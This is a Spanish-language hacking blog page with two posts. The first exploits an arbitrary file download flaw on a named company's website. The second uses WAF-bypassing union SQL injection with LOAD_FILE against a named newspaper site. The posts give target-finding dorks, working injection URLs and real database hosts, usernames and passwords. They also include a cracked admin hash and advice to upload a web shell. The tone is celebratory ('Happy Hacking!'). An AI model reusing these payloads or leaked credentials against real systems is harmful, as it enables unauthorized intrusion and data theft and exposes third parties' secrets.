Nuevas Entradas
Mostrando entradas con la etiqueta FSD. Mostrar todas las entradas
Mostrando entradas con la etiqueta FSD. Mostrar todas las entradas

Arbitrary File Download



by hdbreaker

Para seguir este post necesitamos comprender el concepto de LFI (Local File Inclusion)

LFI es un error de programación en php bastante comun donde se permite incluir archivos locales del servidor dentro del codigo php de la web afectada

Por ej:

Include.php

<?php
$pagina = $_GET['pagina'];
include($pagina);
?>

En el source se precia un LFI en el parametro $pagina donde se puede solicitar la inclusión de contenido de otro archivo a través de include().

El parametro pagina esta siendo solicitado por medio de una peticion GET por lo que este error se puede explotar de la siguiente manera:

http://WebVulnerable.com/Include.php?pagina="Archivo a Incluir"

Un ejemplo Practico de esto seria:

http://WebVulnerable.com/Include.php?pagina=../../../../../../../../../etc/passwd

esto incluiría el contenido del archivo passwd y lo haria visible dentro de la pagina Include.php

El Full Source Disclosure funciona de forma similar ya que incluiremos un archivo dentro de una pagina php de descarga,
y de esta forma analizaremos detalladamente el source en nuestra pc buscando información sensible

Un Dork Comun para buscar una web vulnerable es:

inurl:download.php?file=* site:.com.ar

Buscamos un objetivo y probamos si es vulnerable, en mi caso elegi:

www.latinrisk.com.ar/download.php?file=doc/brochure-esp-final.pdf



copiamos la url y sustituimos el archivo brochure-esp-final.pdf por download.php

www.latinrisk.com.ar/download.php?file=download.php



y vemos como download.php es descargado a nuestro disco duro, analisemos su contenido



Como Podremos distinguir esta la clasica falla LFI en su Source

$file = basename($_GET['file']);

Esto es lo q nos va a permitir llevar a cabo nuestro ataque. Proseguimos
dado que podemos descargar contenido al q no tenemos acceso desde, nuestro querido download.php?file=
empezaremos a descargar paginas con contenido importante, Ej.

Descargaremos el archivo index.php y analizaremos su contenido




Como podremos Apreciar dentro del source de index.php encontraremos el archivo de configuración inc_loader.php

<? include ('inc_loader.php'); ?>

Descargemos y analicemos el Source!




Como podremos ver en el source encontraremos incluidas varios Archivos de Configuración.

include('inc/connect.php');
include('inc/func_std.php');
include('inc/sanitize.php');
include('inc_variables.php');

El q nos interesa es inc/connect.php

Nuevamente descargamos y analizamos


Como veremos en su código empezamos a distinguir sentencias q hacen referencia a la configuración de MySql
además distinguimos en el principio del source q se incluye el archivo config.php, Debe ser Interesante su contenido.

include_once('config.php');

Descargemos y analicemos!!! (se tiene q respetar el directorio dentro del q nos encontramos por lo tanto la ruta a incluir es inc/config.php)


Y como por arte de magia podemos divisar los usuarios y contraseñas de MySql tanto Locales como remotos

if ($_SERVER['HTTP_HOST'] == 'localhost' || $_SERVER['HTTP_HOST'] == 'server.lan')

{

    $config['mysqlhost'] = 'localhost';
    $config['mysqluser'] = 'root';
    $config['mysqlpass'] = '';
    $config['mysqldb']   = 'db_latinrisk';
    $_URL = 'http://server.lan/latinrisk/web/';

}

else

{

//  $config['mysqlhost'] = '190.228.29.68';
    $config['mysqlhost'] = '192.168.0.170';
    $config['mysqluser'] = 'user_latinrisk';
    $config['mysqlpass'] = 'Jwe9UoL6';
    $config['mysqldb']   = 'db_latinrisk';
    $_URL = 'http://www.latin-risk.com/';

}


Ahora nos fijamos si la web posee phpmyadmin:


Tristemente la web no tiene phpmyadmin :( pero como somos algo intrepidos y sabemos analizar el codigo vemos q el servidor MySql
es accesible desde la siguiente ip Publica 190.228.29.68 con Usuario "user_latinrisk" y password "Jwe9UoL6"

Acá la imaginación del hacker, existen varios metodos para acceder remotamente a una base de datos, yo por mi parto Utilizare MySqlNavigaitor
(Demas esta decir q el puerto defautl de Coneccion a un servidor MySql es 3306)


Llenamos los campos Correctamente y damos en Fire :)

Podemos ver las bases de datos que se encuentran en el sitio latinrisk.com.ar (empresa que se dedica a "Solventar Vulnerabilidades Informáticas a Empresas" XD)



nos vamos a db_latinrisk/gral_admin y nos encontraremos con los 2 usuarios mas poderosos de esta web


Solo queda desencryptar la pass en md5 de alguno de los 2 usuarios y tendremos acceso al AdminPanel de LatinRisk

Para los peresosos:

admin:a4be08c8f9378e32a2ffad1ab48d3e6 (lr1120)

Buscamos el AdminPanel con la tecnica q uds mas prefieran y llegamos a la siguiente dirección

http://www.latinrisk.com.ar/admin/


Ingresamos los datos correspondientes y damos click en Ingresar
y podremos apreciar lo siguiente:




Solo queda Bypassear algun Upload de imagenes y subir nuestra shell

Happy Hacking!

Full Source Disclosure por SQLI

by hdbreaker

Reseña:
¿Full Source Disclosure?

Full source disclosure, es una vulnerabilidad la cúal se basa en la descarga o visualización de archivos del servidor web, con la cúal podemos llegar a ver el respectivo codigo del archivo

¿WAF?

Un WAF (Web Application Firewall) es un dispositivo hardware o software que permite proteger los servidores de aplicaciones web de determinados ataques específicos en Internet. Se controlan las transacciones al servidor web de nuestro negocio.
Básicamente nos permite evitar (entre otras) los siguientes ataques:
Cross-site scripting que consiste en la inclusión de código script malicioso en el cliente que consulta el servidor web.
SQL injection que consiste en introducir un código SQL que vulnere la Base de Datos de nuestro servidor.
Denial-of-service que consiste en que el servidor de aplicación sea incapaz de servir peticiones correctas de usuarios.
Hay 2 tipos de WAF: Los que se residen en la red (es decir son un elemento más de la red) y los que se basan en el servidor de aplicaciones (residen en el servidor).

¿SQL Injection?

Se dice que existe o se produjo una inyección SQL cuando, de alguna manera, se inserta o "inyecta" código SQL invasor dentro del código SQL programado, a fin de alterar el funcionamiento normal del programa y lograr así que se ejecute la porción de código "invasor" incrustado, en la base de datos.

En en esta entrada no tocaremos el tema desde cero, para los que no conozcan del tema pueden profundizar en los siguientes links:

http://www.antrax-labs.org/2012/01/sql-injection-desde-cero.html
http://arthusu.blogspot.com.ar/2013/04/blind-sqli-boolean-based-mysql.html
http://arthusu.blogspot.com.ar/2013/06/sqli-bypassenado-el-firewall-y-pasando.html

Comenzamos:
 
En esta entrada analizaremos el siguiente sitio vulnerable a SQLI:

http://www.lasemana.es/periodico/noticia.php?cod=34689


Luego de explotar el sqli y Bypassear el WAF:



Vector:

http://www.lasemana.es/periodico/noticia.php?cod=34689 /*!50000union*/ /*!50000select*/ 1,2,3,0x6864627265616b6572,version(),6,user(),8,@@datadir,10,11,12,13,14,15,16 limit 1,1-- -c

como podemos ver, la inyección es Union Based, y el WAF solo filtra union y select, ahora mi pregunta es si el usuario

lasema@localhost

Tiene privilegios File, nos fijamos de la siguiente manera:

Dentro de information_schema existe una tabla llamada

USER_PRIVILEGES,

Dentro de esta tabla existe 2 campos que nos interesan:

GRANTEE: Posee los nombre de usuario de la base de datos.
PRIVILEGE_TYPE: Tipo de privilegio que tiene el usuario.

entonces la logica, nos dice que tenemos que formular algo como esto:

select * from information_schema.USER_PRIVILEGES;

pero esto nos devolvería todos el contenido de la tabla y
nosotros solo queremos saber que permisos tiene: "lasema@localhost"   y especificamente si tiene el permiso FILE, a mi se me ocurre algo como esto:

SELECT GRANTEE FROM INFORMATION_SCHEMA.USER_PRIVILEGES WHERE PRIVILEGE_TYPE="FILE";

esto nos mostraría todos los usuarios que tienen permisos FILE en la base de datos, entre eso buscaremos si se encuentra "lasema@localhost"

entonces acoplamos nuestra query sql a nuestra sentencia SQLI quedando de esta forma:

http://www.lasemana.es/periodico/noticia.php?cod=34689 /*!50000union*/ /*!50000select*/ 1,2,3,4,version(),6,user(),group_concat(GRANTEE),@@datadir,10,11,12,13,14,15,16 from information_schema.USER_PRIVILEGES WHERE PRIVILEGE_TYPE=0x46494c45 limit 1,1-- -c

donde 0x46494c45 es el hexadecimal de FILE (Esto lo hacemos ya que no podemos encapsular FILE entre ' ' o " ")

vemos que nos muestra lo siguiente:



podemos ver que al usar group_concat, la injection no logra ser completamente visible desde la interface de usuario, por lo que nos aventuraremos a ver el Source Code y buscando la palabra root nos posicionaremos sobre la linea de la injection:



Como podemos observar "lasema" aparece en esa linea, por lo que podemos determinar que el usuario "lasema@localhost" tiene permisos de FILE y podemos realizar lectura de archivo.

Para esto implementaremos nuestro querido:

LOAD_FILE("RUTA/ARCHIVO")

Lo primero que debemos lograr es un Full Patch Disclosure para obtener donde estamos parados, para esto vamos a intentar generar un error con caracteres no validos para la web:

Para profundizar sobre FPD:
http://securityec.com/que-full-path-disclosure-fpdes-una-vulnerabilidad/




podemos apreciar:

Warning: mysql_num_rows(): supplied argument is not a valid MySQL result resource in /var/www/docs/lasemana.es/periodico/noticia.php on line 8

donde mysql nos vuelve a dar una mano y nos revela nuestro patch:
/var/www/docs/lasemana.es/periodico/noticia.php

Recapitulando:

Gracias a nuestro usuario "lasema@localhost" que posee privilegios de FILE podremos realizar LOAD_FILE(RUTA) donde RUTA el path de nuestro FPD!

Manos a la Obra:

Nuestra SQLI quedaría de la siguiente forma:

http://www.lasemana.es/periodico/noticia.php?cod=34689 /*!50000union*/ /*!50000select*/ 1,2,3,4,version(),6,user(),LOAD_FILE(0x2f7661722f7777772f646f63732f6c6173656d616e612e65732f706572696f6469636f2f6e6f74696369612e706870),@@datadir,10,11,12,13,14,15,16 limit 1,1-- -c

Donde
0x2f7661722f7777772f646f63732f6c6173656d616e612e65732f706572696f6469636f2f6e6f74696369612e706870 
es el hexadeciman de: /var/www/docs/lasemana.es/periodico/noticia.php (Ruta de nuestro Path Disclouse)



visitamos el código fuente de la web:



y vemos muy claramente, el usuario y password de la base de datos:

$usuario = "lasema";

$contraseña = "arcaliso";

$conexion = mysql_connect("localhost", "$usuario","$contraseña") or mail ("sms@alisys.net","607720916","Se ha caido el Servidor","From: SOPORTE <soporte@lasemana.es>");


Happy Hacking!
 
Copyright © 2014 Security Signal.
Designed by OddThemes | Distributed By Gooyaabi Templates